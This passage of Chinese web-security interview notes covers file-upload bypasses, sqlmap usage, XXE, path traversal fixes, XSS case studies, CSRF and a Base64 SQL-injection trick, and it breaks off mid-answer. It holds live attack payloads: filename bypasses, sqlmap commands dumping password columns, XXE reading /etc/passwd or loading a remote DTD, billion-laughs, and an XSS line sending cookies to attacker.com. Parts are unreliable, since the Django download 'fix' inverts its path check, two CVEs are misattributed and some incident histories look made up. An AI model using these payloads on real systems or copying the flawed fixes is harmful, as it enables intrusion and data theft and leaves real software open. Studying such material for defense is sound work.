文件上传漏洞是指由于 Web 应用程序对用户上传的文件缺乏严格的验证和过滤,导致攻击者能够上传恶意文件并执行的安全漏洞。以下为你介绍一些常见的文件上传漏洞绕过方法:
绕过客户端验证
禁用 JavaScript
- 原理:很多网站使用 JavaScript 在客户端对上传文件的类型、大小等进行验证。攻击者可以通过在浏览器中禁用 JavaScript 功能,绕过这些前端验证。
- 操作方法:以 Chrome 浏览器为例,在地址栏输入
chrome://settings/content/javascript
,选择 “不允许任何网站运行 JavaScript”,然后重新进行文件上传操作。
修改请求包
- 原理:使用抓包工具(如 Burp Suite)拦截上传请求,修改其中的文件名、文件类型等信息,绕过客户端验证。
- 操作方法
-
- 打开 Burp Suite 并配置好浏览器代理。
- 尝试上传一个被客户端验证拦截的恶意文件,Burp Suite 会拦截到上传请求。
- 在 Burp Suite 的请求编辑界面中,修改文件扩展名、Content-Type 等信息,然后发送修改后的请求。
绕过服务器端扩展名验证
双扩展名绕过
- 原理:部分服务器在验证文件扩展名时,只检查最后一个扩展名,攻击者可以使用双扩展名(如
.php.jpg
)绕过验证。有些服务器会根据第一个扩展名来解析文件,从而执行其中的恶意代码。 - 示例:如果服务器允许上传
.jpg
文件,但对.php
文件进行了限制,攻击者可以上传一个名为shell.php.jpg
的文件。
大小写绕过
- 原理:服务器在验证扩展名时,可能没有对大小写进行严格区分,攻击者可以使用大小写混合的扩展名(如
.PhP
)绕过验证。 - 示例:上传一个名为
shell.PhP
的文件。
特殊符号绕过
- 原理:一些服务器在处理文件名时,可能会忽略某些特殊符号,攻击者可以在扩展名后面添加特殊符号(如
.php.
、.php空格
)绕过验证。 - 示例:上传一个名为
shell.php.
或shell.php
的文件。
绕过服务器端 MIME 类型验证
修改 Content-Type
- 原理:服务器在验证文件类型时,可能会检查请求头中的
Content-Type
字段。攻击者可以使用抓包工具修改该字段的值,绕过验证。 - 操作方法
-
- 使用抓包工具拦截上传请求。
- 在请求头中找到
Content-Type
字段,将其值修改为允许上传的文件类型(如image/jpeg
)。 - 发送修改后的请求。
利用文件头绕过
- 原理:服务器可能会通过检查文件的前几个字节(文件头)来验证文件类型。攻击者可以在恶意文件的开头添加合法文件的文件头,绕过验证。
- 示例:对于一个 PHP 文件,在文件开头添加 JPEG 文件的文件头(
FF D8 FF
),将其伪装成 JPEG 文件。
利用服务器解析漏洞绕过
IIS 6.0 解析漏洞
- 原理:IIS 6.0 对文件扩展名的解析存在漏洞,对于
*.asp
目录下的所有文件,都会被当作 ASP 文件解析;对于以.asa
、.cer
、.cdx
结尾的文件,也会被当作 ASP 文件解析。 - 示例:攻击者可以上传一个名为
shell.jpg
的文件到*.asp
目录下,然后通过访问该文件执行其中的恶意代码。
Apache 解析漏洞
- 原理:Apache 在解析文件时,会从右到左依次检查扩展名,如果遇到不认识的扩展名,会继续向左检查。攻击者可以利用这个特性,使用多扩展名(如
.php.rar.jpg
)绕过验证。 - 示例:上传一个名为
shell.php.rar.jpg
的文件,Apache 可能会将其当作 PHP 文件解析。
利用文件包含漏洞绕过
原理
如果服务器存在文件包含漏洞,攻击者可以上传一个包含恶意代码的文件,然后通过文件包含漏洞来执行该文件中的代码,而不需要直接访问上传的文件。
示例
假设服务器存在文件包含漏洞,且包含文件的参数为 file
,攻击者可以上传一个名为 shell.php
的文件,然后通过访问 http://example.com/include.php?file=uploads/shell.php
来执行其中的恶意代码。
28.文件上传防御方法
一、客户端与服务器端双重验证
- 客户端验证(辅助手段)
-
- 使用 JavaScript 对文件类型、大小进行前端校验(如限制
.php
等危险扩展名),提升用户体验并初步拦截明显恶意文件。 - 注意:不可依赖客户端验证,必须配合服务器端验证(因攻击者可禁用 JS 或直接构造请求绕过)。
- 使用 JavaScript 对文件类型、大小进行前端校验(如限制
- 服务器端严格验证(核心)
-
- 白名单机制:明确允许上传的文件类型(如仅允许
.jpg
/.pdf
等),使用白名单而非黑名单(黑名单易遗漏变种)。 - 扩展名验证:
- 白名单机制:明确允许上传的文件类型(如仅允许
-
-
- 提取文件名后缀时,去除首尾空格、点(如
shell.php.
处理为shell.php
)、大小写统一(如.PhP
转为.php
)。 - 禁止包含双扩展名(如
.php.jpg
)或危险扩展名(.php
/.asp
/.jspx
等,根据业务需求调整)。
- 提取文件名后缀时,去除首尾空格、点(如
-
-
- MIME 类型验证:
-
-
- 检查请求头中的
Content-Type
(如image/jpeg
),同时结合文件实际内容(而非仅依赖客户端提交的 MIME 类型,防止抓包修改)。
- 检查请求头中的
-
-
- 文件内容检测:
-
-
- 读取文件前几个字节(文件头),验证是否符合合法文件格式(如 JPEG 文件头为
0xFF0xD8
,PDF 为0x25504446
)。 - 对上传文件进行病毒扫描或恶意代码检测(如通过正则匹配 PHP 中的
eval()
、shell_exec()
等危险函数)。
- 读取文件前几个字节(文件头),验证是否符合合法文件格式(如 JPEG 文件头为
-
二、文件名与存储安全
- 重命名上传文件
-
- 上传时使用随机字符串(如 UUID)重命名文件(如
123456.jpg
),避免用户控制文件名,防止双扩展名或路径穿越攻击(如../shell.php
)。
- 上传时使用随机字符串(如 UUID)重命名文件(如
- 限制存储路径与权限
-
- 将上传文件存储在非 Web 可访问目录下(如 Web 根目录外的
/var/uploads/
),避免直接通过 URL 访问文件。 - 设置存储目录的执行权限为最低(如仅允许读取和写入,禁止执行,Linux 下可设置目录权限为
755
,文件权限为644
)。
- 将上传文件存储在非 Web 可访问目录下(如 Web 根目录外的
三、防御服务器解析漏洞
- 修复服务器解析漏洞
-
- IIS:
-
-
- 升级到 IIS 7.0+,避免 IIS 6.0 的
*.asp
目录解析漏洞和.asa
/.cer
文件解析漏洞。 - 通过
web.config
禁用危险映射(如删除.php
等脚本文件的映射)。
- 升级到 IIS 7.0+,避免 IIS 6.0 的
-
-
- Apache:
-
-
- 禁用
mod_php
模块(若无需解析 PHP 文件),或通过.htaccess
限制可解析的扩展名(如仅允许.jpg
/.png
)。 - 避免使用多扩展名(如
shell.php.jpg
),通过正则严格匹配扩展名。
- 禁用
-
-
- Nginx:
-
-
- 配置
fastcgi_split_path_info
规则,禁止解析包含非法字符的文件名。
- 配置
-
- 禁用危险文件解析
-
- 对允许上传的文件类型(如图片、文档),通过服务器配置明确禁止其被解析为脚本(如 Nginx 中设置
.jpg
不通过 PHP-FPM 解析)。
- 对允许上传的文件类型(如图片、文档),通过服务器配置明确禁止其被解析为脚本(如 Nginx 中设置
四、内容安全与深度检测
- 文件内容扫描
-
- 使用杀毒软件(如 ClamAV)或 Webshell 检测工具(如河马扫描器)对上传文件进行实时扫描,拦截包含恶意代码的文件。
- 对代码文件(如用户上传的压缩包),解压后二次检测(防止恶意文件藏于压缩包内)。
- 沙箱环境隔离
-
- 对必须执行的用户上传文件(如动态脚本),在沙箱环境中运行,限制其系统权限(如禁止调用系统命令)。
五、安全配置与监控
- Web 应用防火墙(WAF)
-
- 部署 WAF(如 ModSecurity、云 WAF),拦截包含恶意特征的上传请求(如文件名含
<?php
、文件内容含反序列化 payload)。
- 部署 WAF(如 ModSecurity、云 WAF),拦截包含恶意特征的上传请求(如文件名含
- 日志与审计
-
- 记录所有上传操作(文件名、IP、时间、结果),便于追溯攻击行为。
- 监控异常上传频率(如短时间内大量上传
.php
文件),触发警报。
- 及时更新补丁
-
- 修复服务器软件(如 IIS、Apache、Nginx)和 Web 框架(如 PHP、Java)的已知漏洞,避免因解析漏洞导致攻击。
六、业务逻辑优化
- 限制上传功能必要性
-
- 仅对必要业务开放文件上传功能,关闭未使用的上传接口(如用户头像上传、附件上传等)。
- 用户身份验证与授权
-
- 确保上传功能仅对授权用户开放(如登录用户、管理员),避免匿名用户上传文件。
总结:多层防御体系
文件上传防御需遵循 “最小权限原则” 和 “纵深防御”,结合以下措施构建防护链:
- 客户端初步过滤 → 2. 服务器端严格校验(扩展名 / 内容 / MIME) → 3. 安全存储与权限控制 → 4. 解析漏洞修复 → 5. 内容扫描与 WAF 防护 → 6. 日志监控与应急响应。
通过以上方法,可有效降低文件上传漏洞被利用的风险,避免恶意文件执行、服务器被控制等安全事件。
29.Sqlmap常用参数
Sqlmap 是一款开源的自动化 SQL 注入工具,它可以检测并利用 SQL 注入漏洞,获取数据库中的信息。以下是一些 Sqlmap 常用的参数:
目标指定参数
-u
:指定目标 URL,这是最基本也是最常用的参数,用于告诉 Sqlmap 要测试的具体 URL。
bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1"
-l
:指定一个 Burp Suite 或其他代理工具保存的日志文件路径,Sqlmap 会从日志文件中提取请求进行测试。
bash
sqlmap -l burp_log.txt
-m
:指定一个包含多个目标 URL 的文本文件,Sqlmap 会依次对文件中的每个 URL 进行测试。
bash
sqlmap -m targets.txt
注入检测参数
--batch
:在自动模式下运行,所有提示都采用默认值,无需人工干预,适合批量测试。
bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1" --batch
--level
:设置测试的等级,取值范围为 1 - 5,等级越高,测试的注入点和测试用例越多,默认值为 1。
bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1" --level 3
--risk
:设置测试的风险级别,取值范围为 1 - 3,风险级别越高,会尝试更具风险的注入测试用例,默认值为 1。
bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1" --risk 2
数据库信息获取参数
--dbs
:列出目标数据库管理系统中的所有数据库名称。
bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1" --dbs
-D
:指定要操作的数据库名称,结合其他参数可以获取该数据库中的表、列等信息。
bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1" -D "test_db" --tables
--tables
:列出指定数据库中的所有表名。
bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1" -D "test_db" --tables
-T
:指定要操作的表名,结合其他参数可以获取该表中的列名和数据。
bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1" -D "test_db" -T "users" --columns
--columns
:列出指定表中的所有列名。
bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1" -D "test_db" -T "users" --columns
-C
:指定要获取数据的列名,结合其他参数可以获取指定列的数据。
bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1" -D "test_db" -T "users" -C "username,password" --dump
--dump
:导出指定表中指定列的数据。
bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1" -D "test_db" -T "users" -C "username,password" --dump
--dump-all
:导出目标数据库管理系统中所有数据库的数据。
bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1" --dump-all
其他常用参数
--random-agent
:使用随机的 User-Agent 头,避免被目标网站根据 User-Agent 识别为自动化工具。
bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1" --random-agent
--proxy
:指定代理服务器,用于通过代理进行测试。
bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1" --proxy "http://127.0.0.1:8080"
--timeout
:设置请求超时时间,单位为秒,默认值为 30 秒。
bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1" --timeout 60
以上只是 Sqlmap 的一部分常用参数,Sqlmap 还有很多其他强大的功能和参数,可以通过 sqlmap --help
命令查看完整的参数列表和详细说明。需要注意的是,在使用 Sqlmap 进行测试时,必须获得目标系统所有者的授权,否则可能会触犯法律。
30.XXE漏洞原理与防御
一、漏洞原理
XXE(XML External Entity Injection,XML 外部实体注入) 是由于应用程序在解析 XML 输入时,未正确禁用外部实体的加载,导致攻击者可以通过构造恶意的 XML 内容,利用 XML 的外部实体功能执行恶意操作。
1. XML 外部实体基础
XML 支持通过 DOCTYPE
声明引入外部实体,包括 内部实体 和 外部实体:
- 内部实体:用于定义固定文本,格式为
<!ENTITY 实体名 "实体内容">
。 - 外部实体:用于引用外部文件或资源,格式为:
-
- 本地文件:
<!ENTITY 实体名 SYSTEM "file:///路径">
- 远程文件:
<!ENTITY 实体名 SYSTEM "http://恶意域名/恶意文件.dtd">
- 公共实体:
<!ENTITY 实体名 PUBLIC "公共标识符" "URI">
- 本地文件:
正常情况下,外部实体用于加载配置文件、字典等,但攻击者可利用此功能注入恶意实体。
2. 攻击场景与利用方式
(1)读取本地文件
通过 file://
协议加载服务器本地文件:
xml
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- 读取Linux系统用户文件 -->
]>
<root>&xxe;</root>
若应用程序将解析结果返回给攻击者(如错误信息、响应体),即可获取文件内容。
(2)执行远程代码(需结合其他漏洞)
在支持 XSLT(XML 样式表转换)或存在 XXE 漏洞的语言环境中(如 Java、Python),攻击者可通过外部实体加载恶意代码,间接执行系统命令(需配合其他漏洞,如命令注入)。
(3)盲 XXE(无回显场景)
当服务器无回显时,攻击者通过 带外(Out-of-Band, OOB) 方式利用 XXE:
- 加载远程恶意 DTD 文件,触发 DNS 或 HTTP 请求(如
http://恶意域名/?data=...
),通过日志或服务器访问记录获取数据。 - 示例:
xml
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://恶意域名/evil.dtd">%remote; <!-- 引入远程DTD -->
]>
<root>&exploit;</root>
(4)拒绝服务攻击(DoS)
- 实体膨胀(Billion Laughs Attack):通过递归定义实体,生成超大 XML 数据,耗尽服务器内存或 CPU 资源:
xml
<?xml version="1.0"?>
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!-- 递归定义,最终生成极大数据 --><!ENTITY lol10 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">...(重复定义,直到数据爆炸)
]>
<lolz>&lol10;</lolz>
二、防御方法
1. 禁用外部实体解析
- 核心防御措施:在 XML 解析器中禁用外部实体加载。
-
- Java(JAXP):
java
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁止DOCTYPE声明
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false); // 禁用实体扩展
-
- Python(lxml):
python
from lxml import etree
parser = etree.XMLParser(resolve_entities=False) # 禁用实体解析
tree = etree.fromstring(xml_data, parser=parser)
-
- PHP:
php
libxml_disable_entity_loader(true); // 禁用外部实体加载(PHP 5.1.3+)
-
- 其他语言:查阅官方文档,确保解析器配置中关闭外部实体(如 Go 的
xml.Decoder
、C# 的XmlReaderSettings
等)。
- 其他语言:查阅官方文档,确保解析器配置中关闭外部实体(如 Go 的
2. 限制 XML 解析器功能
- 禁止使用
DOCTYPE
声明,防止自定义实体注入:
-
- 在解析 XML 前,检查是否包含
<!DOCTYPE>
标签,若有则拒绝解析。
- 在解析 XML 前,检查是否包含
3. 输入验证与过滤
- 对 XML 输入进行严格校验,拒绝包含可疑关键词(如
DOCTYPE
、ENTITY
、SYSTEM
、PUBLIC
)的内容。 - 使用白名单验证 XML 结构,确保仅允许预期的标签和内容。
4. 防范带外 XXE(OOB-XXE)
- 禁用解析器的网络访问权限,阻止其发起 HTTP、DNS 等外部请求。
- 通过防火墙或代理服务器,监控并拦截异常的出站请求(如指向恶意域名的流量)。
5. 升级解析器与依赖库
- 使用安全版本的 XML 解析库,修复已知漏洞(如 Java 的 XML 解析器漏洞 CVE-2017-18349、CVE-2020-2555 等)。
6. 限制 XML 大小与复杂度
- 配置解析器的最大输入大小、实体扩展深度等参数,防止实体膨胀攻击:
-
- Java 中设置
setEntityExpansionLimit()
限制实体扩展次数。 - 对 XML 输入进行大小限制(如 NGINX 配置
client_max_body_size
)。
- Java 中设置
三、总结
XXE 漏洞的核心风险在于 XML 解析器对外部实体的不当处理,防御的关键是 禁用外部实体解析 和 严格限制解析器功能。开发过程中应优先使用安全的解析库,并结合输入验证、环境配置等多层防护措施,避免因 XML 解析逻辑漏洞导致敏感信息泄露或服务器被攻击。
31.任意文件下载漏洞的修复方案
一、输入验证与路径过滤
1. 禁止路径穿越字符
- 过滤危险字符:对用户可控的文件路径参数(如
filename
、path
),严格过滤../
、..\\
、/
、\
等路径穿越字符,防止目录遍历。
-
- 示例(正则校验):python
import re
if re.search(r'[^\w\-_.~]', user_input_path): raise ValueError("非法字符")
- 路径规范化:将用户输入的路径转换为绝对路径,并去除冗余符号(如
./
、重复/
),确保路径在允许的范围内。
-
- Python 示例:python
from pathlib import Path
base_dir = Path("/合法文件目录/")
user_path = base_dir / user_input_path
if not str(user_path).startswith(str(base_dir)): raise PermissionError("非法路径")
2. 白名单机制
- 限制可访问目录:定义允许访问的文件目录白名单(如
/var/www/app/uploads/
、/data/files/
),禁止用户请求白名单外的路径。 - 示例(Java):java
Set<String> allowedDirs = new HashSet<>(Arrays.asList("/app/files/", "/public/images/"));
String userPath = ...; // 用户输入的路径
for (String dir : allowedDirs) { if (userPath.startsWith(dir)) { // 允许访问 break; }
}
二、路径安全与参数化
1. 避免直接拼接路径
- 使用安全 API 构建路径:通过编程语言提供的安全函数(如 Python 的
os.path.join
、Java 的Paths.get
)拼接文件路径,防止恶意字符注入。
-
- 错误示例(直接拼接):php
$file = $_GET['file'];
readfile("/var/www/" . $file); // 危险!未校验$file
-
- 正确示例(参数化):php
$allowedFiles = ['file1.txt', 'file2.jpg'];
$file = isset($_GET['file']) && in_array($_GET['file'], $allowedFiles) ? $_GET['file'] : null;
if ($file) { readfile("/var/www/" . $file);
}
2. 限制文件类型
- 白名单校验文件扩展名:仅允许下载指定类型的文件(如
.pdf
、.jpg
),防止下载敏感系统文件(如.conf
、.key
、passwd
)。 - 示例(JavaScript):javascript
const allowedExtensions = new Set(['pdf', 'jpg', 'png']);
const ext = filename.split('.').pop();
if (!allowedExtensions.has(ext)) { throw new Error("不允许的文件类型");
}
三、权限控制与目录隔离
1. 文件系统权限最小化
- 限制应用访问权限:确保运行 Web 服务的用户(如
www-data
)对文件系统只有只读权限,且仅能访问必要的目录(如禁止访问/etc/
、/root/
)。 - 禁止 Web 目录外的文件访问:将可下载文件存储在Web 根目录外(如
/var/app/files/
,而非/var/www/html/files/
),避免通过 URL 直接访问。
2. 动态生成文件流
- 不暴露真实文件路径:通过服务端脚本(如 PHP、Java)动态读取文件并输出内容,而非直接返回文件路径(如
http://example.com/files/../etc/passwd
)。
-
- 示例(Python Flask):python
from flask import send_file
@app.route('/download')
def download_file(): filename = request.args.get('filename') # 校验filename并构建安全路径 safe_path = os.path.join('/合法目录/', filename) return send_file(safe_path)
四、错误处理与日志监控
1. 统一错误提示
- 避免泄露文件存在性:当文件不存在或无权访问时,返回统一的错误信息(如 “文件不存在”),而非详细的路径或错误堆栈。
- 错误示例:plaintext
错误:/var/www/../etc/passwd 不存在
- 正确示例:plaintext
错误:文件下载失败,请检查文件名是否正确。
2. 日志与监控
- 记录文件下载请求:日志中记录用户 IP、请求的文件路径、时间等信息,便于追溯攻击行为。
- 监控异常请求:通过 WAF 或 IDS 检测包含
../
、etc/
、passwd
等关键词的请求,触发警报。
五、框架与语言特定修复
1. Java(Spring Boot)
- 使用
ResourceLoader
或FileSystemResource
加载文件,避免直接使用用户输入路径:java
@GetMapping("/download")
public ResponseEntity<Resource> downloadFile(@RequestParam String filename) { File file = new File("/合法目录/" + filename); if (!file.exists() || file.isDirectory()) { return ResponseEntity.notFound().build(); } return ResponseEntity.ok().body(new FileSystemResource(file));
}
2. PHP
- 使用
realpath()
规范化路径,并校验是否在允许的目录内:php
$baseDir = realpath("/var/app/files/");
$userPath = realpath($_GET['file']);
if ($userPath && strpos($userPath, $baseDir) === 0) { readfile($userPath);
}
3. Python Django
- 使用
XSendFile
或sendfile
模块,由 Web 服务器(如 Nginx)处理文件传输,避免暴露路径:python
from django.http import FileResponse
def download_view(request, filename): file_path = os.path.join(settings.FILE_ROOT, filename) if os.path.exists(file_path) and not file_path.startswith(settings.FILE_ROOT): return FileResponse(open(file_path, 'rb'))
六、总结:多层防御体系
- 输入校验:过滤路径穿越字符,使用白名单限制可访问的目录和文件类型。
- 路径安全:通过安全 API 构建路径,避免直接拼接用户输入,存储文件在 Web 根目录外。
- 权限控制:最小化应用对文件系统的访问权限,禁止访问敏感目录。
- 错误处理:统一错误提示,避免泄露文件路径或存在性。
- 监控审计:记录请求日志,实时监控异常文件下载行为。
通过以上措施,可有效防止攻击者利用任意文件下载漏洞获取敏感信息,确保文件访问的安全性和可控性。
32.知道那些xss攻击案例简单说一下
一、社交平台的存储型 XSS 攻击
案例 1:Facebook 2013 年存储型 XSS
- 攻击方式:攻击者在用户留言中插入恶意脚本(如
<script>alert(1)</script>
),当其他用户查看该留言时,脚本会窃取其 Cookie 并发送到攻击者服务器。 - 影响:用户会话被劫持,攻击者可冒充用户发布内容或访问敏感信息。
- 防御:Facebook 通过修复输入过滤漏洞和启用内容安全策略(CSP)解决。
案例 2:新浪微博 2011 年蠕虫攻击
- 攻击方式:黑客利用微博评论功能的 XSS 漏洞,注入蠕虫代码。当用户访问被感染页面时,脚本会自动关注攻击者账号、发送垃圾私信,并传播至受害者的好友列表。
- 影响:数小时内波及 3 万用户,导致微博服务短暂瘫痪。
- 技术细节:攻击者使用
document.location.href
修改页面跳转逻辑,并利用XMLHttpRequest
窃取 Cookie。
二、反射型 XSS:钓鱼与会话劫持
案例 3:Twitter 2014 年反射型 XSS
- 攻击方式:攻击者构造恶意链接(如
https://twitter.com/?q=<script>...</script>
),当用户点击时,脚本会自动发布推文或窃取会话令牌。 - 利用场景:通过短链接服务(如 bit.ly)隐藏真实 URL,诱骗用户点击。
- 防御:Twitter 修复了未过滤 URL 参数的漏洞,并引入 CSP 限制脚本执行。
案例 4:电商网站搜索框 XSS
- 攻击方式:在电商网站的搜索框中输入
<img src=x onerror=alert(1)>
,服务器将输入反射到搜索结果页面,触发弹窗。 - 进阶利用:攻击者可注入脚本窃取用户的支付信息(如信用卡号),或重定向至钓鱼页面。
- 防御:对用户输入进行 HTML 转义(如将
<
转为<
),避免直接输出到页面。
三、DOM 型 XSS:客户端代码漏洞
案例 5:URL 哈希参数注入
- 漏洞代码:javascript
// 错误示例:直接使用location.hash更新DOM
const hash = window.location.hash.substr(1);
document.getElementById('content').innerHTML = hash;
- 攻击方式:构造 URL
https://example.com/#<img src=x onerror=alert(1)>
,触发 XSS。 - 特点:攻击完全在客户端发生,服务器日志无法检测,传统 WAF 可能失效。
- 防御:使用
textContent
替代innerHTML
,避免动态渲染用户输入。
案例 6:JavaScript 框架漏洞
- 攻击方式:某些前端框架(如 AngularJS)未正确转义用户输入,攻击者可通过指令注入(如
ng-click
)执行代码。 - 示例:输入
<button ng-click="alert(1)">Click me</button>
,框架解析后触发弹窗。 - 防御:使用框架提供的安全机制(如 Angular 的
$sce
服务)对输入进行严格过滤。
四、历史著名案例:规模化攻击
案例 7:MySpace 蠕虫(2005 年)
- 攻击方式:黑客 Samy 利用 MySpace 的个人资料页面 XSS 漏洞,注入代码:javascript
javascript:document.body.appendChild(document.createElement('script')).src='http://samy.pl/myspace/worm.js';
- 影响:蠕虫自动添加好友、传播至百万用户,导致 MySpace 服务器瘫痪。
- 技术创新:首次利用社交网络的人际关系链实现大规模传播。
案例 8:Gawker 数据泄露(2010 年)
- 攻击方式:攻击者通过 Gawker 评论区的存储型 XSS,窃取管理员会话 Cookie,进而获取数据库权限。
- 后果:大量用户数据(含明文密码)泄露,Gawker 最终因隐私诉讼破产。
- 教训:XSS 攻击可作为跳板,引发更严重的安全事件。
五、实验场景:教学级 XSS 案例
案例 9:Pikachu 靶场反射型 XSS
- 漏洞代码:php
$html = "<p>搜索结果:".$_GET['name']."</p>";
echo $html; // 未过滤用户输入
- 攻击演示:访问
http://pikachu.com/xss_reflected.php?name=<script>alert(1)</script>
,触发弹窗。 - 防御:使用
htmlspecialchars()
对输出进行编码。
案例 10:DVWA 存储型 XSS
- 攻击方式:在留言板输入
<script>document.write('<img src=http://attacker.com/?cookie='+document.cookie>)</script>
,窃取访客 Cookie。 - 利用技巧:通过 DNS 日志或服务器访问记录获取数据。
- 防御:对用户输入的 HTML 标签进行白名单过滤(如仅允许
<b>
、<i>
)。
六、总结:XSS 攻击的核心模式
- 输入未过滤:用户输入直接输出到页面(如搜索结果、评论)。
- 动态渲染风险:使用
innerHTML
、document.write()
等函数解析用户输入。 - 跨域数据窃取:通过
XMLHttpRequest
或fetch
发送敏感信息至攻击者服务器。 - 会话劫持:利用
document.cookie
获取用户会话令牌,冒充身份。
防御建议:
- 输入验证:过滤危险字符(如
<
、>
、script
),使用白名单限制合法输入。 - 输出编码:对 HTML、URL、JavaScript 等上下文分别进行转义。
- CSP 策略:通过
Content-Security-Policy
头部限制脚本来源,例如:plaintext
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
- 安全框架:使用 React、Vue 等前端框架,自动转义用户输入。
通过以上案例可见,XSS 攻击的本质是 “数据与代码的混淆”,防御的核心是严格区分用户输入与可执行代码,确保不可信数据无法触发脚本执行。
33.CSRF攻击和xss攻击有什么区别
CSRF(Cross - Site Request Forgery,跨站请求伪造)攻击和 XSS(Cross - Site Scripting,跨站脚本攻击)都是常见的 Web 安全漏洞,但它们在攻击原理、攻击方式、危害和防御方法等方面存在明显区别:
攻击原理
- CSRF 攻击原理:利用用户在已登录网站的身份认证信息,诱导用户在已登录的网站上执行非预期的操作。攻击者并不直接窃取用户信息,而是借助用户的身份和权限来执行恶意请求。例如,用户登录了网上银行,在未退出登录的情况下访问了恶意网站,恶意网站可以伪装成用户向网上银行发送转账请求,银行会因为用户的登录状态而误以为是用户本人的操作。
- XSS 攻击原理:通过在目标网站注入恶意脚本,当其他用户访问该网站时,恶意脚本会在用户的浏览器中执行,从而获取用户的敏感信息或进行其他恶意操作。这些恶意脚本可以是 JavaScript 代码,能够获取用户的 Cookie、会话令牌等信息。比如,攻击者在某个论坛的留言板中注入一段窃取 Cookie 的 JavaScript 代码,当其他用户查看该留言时,脚本就会在他们的浏览器中运行,窃取他们的 Cookie。
攻击方式
- CSRF 攻击方式
-
- 自动发起 GET 请求:攻击者可以在恶意网站中嵌入一个图片标签,其
src
属性指向目标网站的一个危险操作 URL,当用户访问恶意网站时,浏览器会自动发起该 GET 请求。例如,<img src="http://bank.com/transfer?to=attacker&amount=1000" style="display:none">
。 - 自动发起 POST 请求:攻击者可以构造一个隐藏的表单,使用 JavaScript 自动提交该表单,向目标网站发送 POST 请求。
- 诱导用户点击链接:攻击者通过社交工程手段,诱导用户点击包含恶意请求的链接,从而执行非预期的操作。
- 自动发起 GET 请求:攻击者可以在恶意网站中嵌入一个图片标签,其
- XSS 攻击方式
-
- 反射型 XSS:攻击者将恶意脚本作为参数嵌入到 URL 中,当用户点击该 URL 时,服务器会将恶意脚本反射到响应页面中,脚本在用户的浏览器中执行。例如,
http://example.com/search.php?keyword=<script>alert('XSS')</script>
。 - 存储型 XSS:攻击者将恶意脚本存储在目标网站的数据库中,当其他用户访问包含该恶意脚本的页面时,脚本会在他们的浏览器中执行。常见于留言板、评论区等用户可以提交内容的地方。
- DOM 型 XSS:攻击者通过修改页面的 DOM 结构,注入恶意脚本。这种攻击不依赖于服务器端的响应,完全在客户端发生。
- 反射型 XSS:攻击者将恶意脚本作为参数嵌入到 URL 中,当用户点击该 URL 时,服务器会将恶意脚本反射到响应页面中,脚本在用户的浏览器中执行。例如,
危害
- CSRF 攻击的危害
-
- 执行敏感操作:攻击者可以利用用户的身份在目标网站上执行各种敏感操作,如转账、修改密码、删除数据等,给用户带来经济损失或数据泄露风险。
- 破坏业务逻辑:干扰网站的正常业务流程,影响网站的稳定性和可用性。
- XSS 攻击的危害
-
- 窃取用户信息:获取用户的 Cookie、会话令牌等敏感信息,攻击者可以利用这些信息冒充用户登录网站,进行非法操作。
- 篡改页面内容:恶意脚本可以修改页面的显示内容,误导用户,或者传播恶意信息。
- 植入恶意软件:通过执行恶意脚本,在用户的浏览器中下载并安装恶意软件,进一步控制用户的设备。
防御方法
- CSRF 攻击的防御方法
-
- 使用验证码:在执行敏感操作时,要求用户输入验证码,确保是用户本人在操作。
- 验证请求来源:检查请求的来源(Referer 头或 Origin 头),只允许来自可信域名的请求。
- 使用 CSRF 令牌:在表单或链接中添加一个随机生成的 CSRF 令牌,服务器在处理请求时验证该令牌的有效性。
- XSS 攻击的防御方法
-
- 输入验证和过滤:对用户输入进行严格的验证和过滤,只允许合法的字符和格式。
- 输出编码:在将用户输入输出到页面时,对特殊字符进行编码,如将
<
编码为<
,防止恶意脚本的执行。 - 内容安全策略(CSP):通过设置 CSP 头,限制页面可以加载的资源来源,只允许加载来自可信域名的脚本和资源。
34.以下链接存在sql注入漏洞,对于这个变形注入,你有什么思路 demo.do?DATA=AjAxNg==
一、判断参数编码方式(关键第一步)
- 解码参数值
-
DATA=AjAxNg==
看起来是 Base64 编码(结尾有==
填充符)。
使用工具解码(如 Python 的base64.b64decode
):python
import base64
decoded = base64.b64decode("AjAxNg==").decode()
# 输出可能为 "016" 或其他值(需根据实际编码逻辑确认)
-
- 若解码后是数字(如
016
),可能对应 SQL 中的数字型参数(如WHERE id = 16
);
若是字符串,可能对应字符型参数(如WHERE name = '016'
)。
- 若解码后是数字(如
- 确认编码是否可逆
-
- 若服务器端对参数进行 Base64 解码后直接拼入 SQL 语句,攻击者可构造恶意 Base64 编码的 Payload,解码后形成注入代码。
二、变形注入攻击思路
1. 构造恶意 Base64 编码 Payload
假设解码后原始参数为数字型(如 id=16
),目标 SQL 语句可能为 SELECT * FROM table WHERE id = {DATA_DECODED}
。
- Payload 构造步骤:
-
- 编写原始注入语句(如
16 OR 1=1--
)。 - 对注入语句进行 Base64 编码:python
- 编写原始注入语句(如
payload = "16 OR 1=1--"
encoded = base64.b64encode(payload.encode()).decode()
# 结果类似 "MTYgT1IgMT0xLQ=="
-
- 替换参数:
demo.do?DATA=MTYgT1IgMT0xLQ==
,解码后 SQL 变为WHERE id = 16 OR 1=1--
,恒成立,返回所有数据。
- 替换参数:
2. 处理字符型参数(若解码后带引号)
若解码后是字符型(如 '16'
